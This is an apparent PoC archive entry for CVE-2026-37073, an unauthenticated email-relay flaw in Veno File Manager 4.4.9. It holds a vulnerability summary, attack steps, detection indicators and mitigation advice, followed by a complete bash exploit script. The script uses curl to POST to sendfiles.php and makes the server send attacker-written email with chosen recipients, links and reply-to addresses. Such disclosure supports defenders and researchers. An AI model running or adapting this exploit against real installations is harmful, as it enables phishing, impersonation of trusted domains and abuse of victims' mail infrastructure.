PoC Archive PoC Archive
Medium CVE-2026-37073 unpatched

Veno File Manager 4.4.9 — Unauthenticated Email Hijack via SMTP Relay (CVE-2026-37073)

by jfs-jfs · 2026-07-05

Severity
Medium
CVE
CVE-2026-37073
Category
web
Affected product
Veno File Manager Project
Affected versions
4.4.9
Disclosed
2026-07-05
Patch status
unpatched

Archive entry

intelseclab/poc-archive

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / Researcherjfs-jfs
CVE / AdvisoryCVE-2026-37073
Categoryweb
SeverityMedium
CVSS ScoreNot specified in source
StatusPoC
Tagsfile-manager, unauthenticated, smtp-relay, email-spoofing, incorrect-access-control, veno-file-manager
RelatedN/A

Affected Target

FieldValue
Software / SystemVeno File Manager Project
Versions Affected4.4.9
Language / PlatformBash / PHP web application
Authentication RequiredNo
Network Access RequiredYes

Summary

The /vfm-admin/ajax/sendfiles.php endpoint in Veno File Manager 4.4.9 lacks any access control, allowing an unauthenticated attacker to send arbitrary emails through the application’s configured SMTP server. By supplying attacker-controlled destination, reply-to, message body, and embedded links, an attacker can impersonate the application to deliver phishing or spam email to any target address, as long as the server has an SMTP relay configured.

Vulnerability Details

Root Cause

sendfiles.php performs no authentication or authorization check before forwarding attacker-supplied parameters into an outgoing email via the site’s configured SMTP relay (incorrect access control).

Attack Vector

  1. Identify a Veno File Manager 4.4.9 instance with SMTP configured.
  2. Send an unauthenticated POST request to /vfm-admin/ajax/sendfiles.php with the X-Requested-With: XmlHttpRequest header and attacker-chosen mitt (reply-to), dest (target), sharelink, message, passlink, and send_cc parameters.
  3. The server relays the email through its configured SMTP server to the target address.

Impact

Abuse of the victim’s mail infrastructure to send spam or phishing email that appears to originate from a trusted domain, potentially damaging the target’s sender reputation and enabling social-engineering attacks against third parties.

Environment / Lab Setup

Target:   Veno File Manager 4.4.9 with SMTP relay configured
Attacker: bash, curl

Proof of Concept

PoC Script

See PoC.sh in this folder.

1

./PoC.sh <url to root of vfm installation>/ <reply to> <target address> <link1> <message> <link2> <cc address>

The script sends a crafted unauthenticated POST request to sendfiles.php, causing the server to relay an attacker-controlled email to the specified target.

Detection & Indicators of Compromise

POST /vfm-admin/ajax/sendfiles.php HTTP/1.1
X-Requested-With: XmlHttpRequest

Signs of compromise:

  • Outgoing mail queue entries not tied to any authenticated user session
  • Complaints of phishing/spam email originating from the organization’s mail server
  • SMTP relay logs showing anomalous volume from the file manager host

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for advisory
Interim mitigationRequire authentication and rate-limit sendfiles.php; restrict or remove SMTP relay functionality if unused

References

Notes

Mirrored from https://github.com/jfs-jfs/CVE-2026-37073 on 2026-07-05.

PoC.sh
bash raw GitHub ↓ Download
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

#!/usr/bin/env bash

##########################################################
############## UNAUTHENTICATED EMAIL HIJACK ##############
##########################################################

################# TESTED ON VERSION 4.4.9 ################

# This exploit lets the attacker send emails on behalf of
# the server configured email service to anyone. The
# attack needs the server to have configured smpt_server.

# - Parameter $1 is Url to the root of where the installation
#   of vfm is (a.k.a. the root of the application)
# - Parameter $2 is reply to
# - Parameter $3 is target destination
# - Parameter $4 is a link you can embed
# - Parameter $5 is a message to embed
# - Parameter $6 is another link to embed
# - Parameter $7 is send copies to

if [[ -z "$1" ]] || [[ -z "$2" ]] || [[ -z "$3" ]] || [[ -z "$4" ]] || [[ -z "$5" ]] || [[ -z "$6" ]] || [[ -z "$7" ]]; then
  echo "[ USAGE ] :: ./unauth-email-hijack.sh <url toroot of vfm installation>/ <reply to> <target address> <link1> <message> <link2> <cc address>"
  exit 1
fi

curl -X POST \
  -H "X-Requested-With: XmlHttpRequest" \
  -d "mitt=$2" \
  -d "dest=$3" \
  -d "sharelink=$4" \
  -d "attach= " \
  -d "message=$5" \
  -d "passlink=$6" \
  -d "send_cc=$7" \
  "$1/vfm-admin/ajax/sendfiles.php"